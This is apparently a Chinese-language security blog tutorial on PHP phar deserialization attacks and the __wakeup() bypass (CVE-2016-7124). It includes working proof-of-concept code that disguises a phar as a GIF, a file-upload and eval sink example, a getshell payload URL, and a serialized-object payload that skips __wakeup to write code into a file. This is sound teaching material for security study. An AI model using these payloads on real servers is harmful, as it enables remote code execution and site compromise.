发布时间:2024-11-14 19:01
来学习下
phar
反序列化漏洞,拓展php反序列化漏洞的攻击面__wakeup()
魔术方法绕过漏洞(CVE-2016-7124)phar
反序列化漏洞通常我们在利用反序列化漏洞的时候,只能将序列化后的字符串传入unserialize()
,随着代码安全性越来越高,利用难度也越来越大
在2018 Black Hat大会上,安全研究员Sam Thomas分享了议题 It’s a PHP unserialization vulnerability Jim, but not as we know it
,利用phar文件会以序列化的形式存储用户自定义的meta-data这一特性,拓展了php反序列化漏洞的攻击面
该方法在文件系统函数(file_exists()、is_dir()等)参数可控的情况下,配合phar://伪协议,可以不依赖unserialize()直接进行反序列化操作
php.ini
关闭只读在了解攻击手法之前先学习下phar的文件结构,通过查阅PHP手册可知一个phar文件有四部分构成:
可以理解为一个标志,格式为xxx
,前面内容不限,但必须以__HALT_COMPILER();
来结尾(?>
可以省略也可以包含),否则phar扩展将无法识别这个文件为phar文件
phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这里即为反序列化漏洞点
被压缩文件的内容
签名,放在文件末尾,格式如下:
Length in bytes | Description |
---|---|
16 or 20 bytes | 实际签名,SHA1签名为20字节,MD5签名为16字节,SHA256签名为32字节,SHA512签名为64字节。 |
4 bytes | 签名标志. 0x0001 用于表示是 MD5 签名, 0x0002 用来表示是 SHA1 签名, 0x0004 用来表示是SHA256签名, 0x0008用来表示是SHA512签名。 API版本1.1.0引入了SHA256和SHA512签名支持。 |
4 bytes | Magic GBMB 用于定义签名的存在 |
根据文件结构,自己构建一个phar文件,php内置了一个Phar类来处理相关操作
*注意:要将
php.ini
中的phar.readonly
选项设置为Off,否则无法生成phar文件
// phar.php
<?php
// 定义类
class TestObject {
}
@unlink(\"phar.phar\");
$phar = new Phar(\"phar.phar\"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub(\"\"); //设置stub
//__HALT_COMPILER(); 结尾也是可以的
$o = new TestObject();
$phar->setMetadata($o); //将自定义的meta-data即对象存入manifest
$phar->addFromString(\"test.txt\", \"test\"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
执行phar.php
,同目录下生成phar.phar
文件,使用010 Editor
打开文件可以清晰看到phar文件的结构,其中meta-data是以序列化的形式存储的:
有序列化数据必然会有反序列化操作,php一大部分的文件系统函数在通过phar://
伪协议解析phar文件时,都会将meta-data进行反序列化,测试后受影响的函数如下:(引用seaii师傅整理图)
通过一个小demo证明一下
//phar_test.php
<?php
class TestObject {
public function __destruct() {
echo \'对象被销毁,Destruct触发\';
}
}
$filename = \'phar://phar.phar/test.txt\';
file_get_contents($filename);
?>
执行phar_test.php
,如下图,file_get_contents
函数在通过phar://
伪协议解析phar文件时,会将meta-data进行反序列化操作
于是当文件系统函数的参数可控时,我们可以在不调用unserialize()
的情况下,进行反序列化操作,许多的文件函数都可以触发,极大地拓展了攻击面
注意:对于一个前后调用多个file函数的phar文件,只会反序列化一次
php识别phar文件是通过其文件头的stub,更确切一点来说是
__HALT_COMPILER();?>
这段代码,对前面的内容或者后缀名是没有要求的
那么我们就可以通过添加任意的文件头+修改后缀名的方式将phar文件伪装成其他格式的文件
//phar_gif.php
<?php
class TestObject {
}
@unlink(\"phar-gif.phar\");
$phar = new Phar(\"phar-gif.phar\");
$phar->startBuffering();
$phar->setStub(\"GIF89a\".\"\"); //设置stub,增加gif文件头
$o = new TestObject();
$phar->setMetadata($o); //将自定义meta-data存入manifest
$phar->addFromString(\"test.txt\", \"test\"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
执行phar_gif.php
,查看生成phar-gif.phar
格式
同样,将phar-gif.phar
后缀改为gif进行phar://
伪协议解析
//phar_test.php
<?php
class TestObject {
public function __destruct() {
echo \'对象被销毁,Destruct触发\';
}
}
$filename = \'phar://phar-gif.gif/test.txt\';
file_get_contents($filename);
?>
发现仍然可以识别为phar,进行反序列化
可以看到,可以轻易将phar文件伪造为其他格式(gif/png/jpg等),采用这种方法可以绕过很大一部分文件上传检测
: / phar
等特殊字符没有被过滤upload_file.php
后端检测文件上传,文件类型是否为gif,文件后缀名是否为gif
if (($_FILES[\"file\"][\"type\"]==\"image/gif\")&&(substr($_FILES[\"file\"][\"name\"], strrpos($_FILES[\"file\"][\"name\"], \'.\')+1))== \'gif\') {
echo \"Upload: \" . $_FILES[\"file\"][\"name\"];
echo \"Type: \" . $_FILES[\"file\"][\"type\"];
echo \"Temp file: \" . $_FILES[\"file\"][\"tmp_name\"];
if (file_exists(\"upload_file/\" . $_FILES[\"file\"][\"name\"])){
echo $_FILES[\"file\"][\"name\"] . \" already exists. \";
}
else{
move_uploaded_file($_FILES[\"file\"][\"tmp_name\"],
\"upload_file/\" .$_FILES[\"file\"][\"name\"]);
echo \"Stored in: \" . \"upload_file/\" . $_FILES[\"file\"][\"name\"];
}
}
else{
echo \"Invalid file,you can only upload gif\";
}
upload_file.html
file_un.php
存在file_exists()
,并且存在__destruct()
$filename=$_GET[\'filename\'];
class AnyClass{
var $output = \'echo \"ok\";\';
function __destruct()
{
eval($this -> output);
}
}
file_exists($filename);
根据file_un.php本地写一个生成phar的poc.php文件,在文件头加上GIF89a绕过gif,然后执行poc.php文件后,生成phar.phar,修改后缀为gif,上传到服务器,然后利用file_exists,使用phar://执行代码
//构造poc.php
<?php
class AnyClass{
var $output = ;
function __destruct()
{
eval($this -> output);
}
}
$phar = new Phar(\'phar.phar\');
$phar -> stopBuffering();
$phar -> setStub(\'GIF89a\'.\'\');
$phar -> addFromString(\'test.txt\',\'test\');
$o = new AnyClass();
$o -> output= \'phpinfo();\';
$phar -> setMetadata($o);
$phar -> stopBuffering();
访问poc.php生成phar.phar,将后缀改为gif
然后上传到upload_file
目录(与file_un.php
同目录)之下
利用file_un.php
中的危险函数getshell
payload:file_un.php?filename=phar://upload_file/phar.gif/test
__wakeup()
魔术方法绕过当反序列化字符串中,表示对象属性个数的值大于真实属性个数时,会绕过 __wakeup
方法的执行。
如:
构造序列化对象:O:1:\"A\":1:{s:6:\"target\";s:18:\"...\";}
绕过__wakeup:O:2:\"A\":1:{s:6:\"target\";s:18:\"...\";}
假设有以下代码:
class A{
public $target = \"f4ke\";
function __wakeup(){
$this->target = \"wakeup!\";
}
function __destruct(){
$fp = fopen(\"./flag.php\",\"w\");
fputs($fp,$this->target);
fclose($fp);
}
}
$a = $_GET[\'str\'];
$b = unserialize($a);
echo \"flag.php\".\"
\";
include(\"./flag.php\");
?>
由于魔术方法__wakeup()
要比__destruct()
先执行,即当str
值传入:
O:1:\"A\":1:{s:6:\"target\";s:18:\"\";}
会被先执行的__wakeup()
函数$target
赋值覆盖为wakeup!
,然后生成的flag.php
里面的内容就是wakeup!
现在根据漏洞原理:对象属性个数的值大于真实的属性个数时就会跳过__wakeup()
的执行,对象属性个数由1改为2,即
O:1:\"A\":2:{s:6:\"target\";s:18:\"\";}
就能实现绕过__wakeup()
直接将phpinfo();
语句写入flag.php
并执行
https://paper.seebug.org/680/
“超越” SQL 的数据查询语言“新秀”Top8:GraphQL、PRQL、WebAssembly上榜
报错“Cannot read properties of null (reading ‘addEventListener‘)“
Nginx 部署的虚拟主机如何使用 Let‘s Encrypt 来进行加密 https
【云原生Kubernetes系列第五篇】kubeadm v1.20 部署K8S 集群架构(人生这道选择题,总会有遗憾)
mysql分页3种方式,Mysql的limit用法与几种分页形式
监听浏览器刷新事件,拦截浏览器返回,js监听移动端浏览器页面显示、隐藏
Spring boot详解fastjson过滤字段为null值如何解决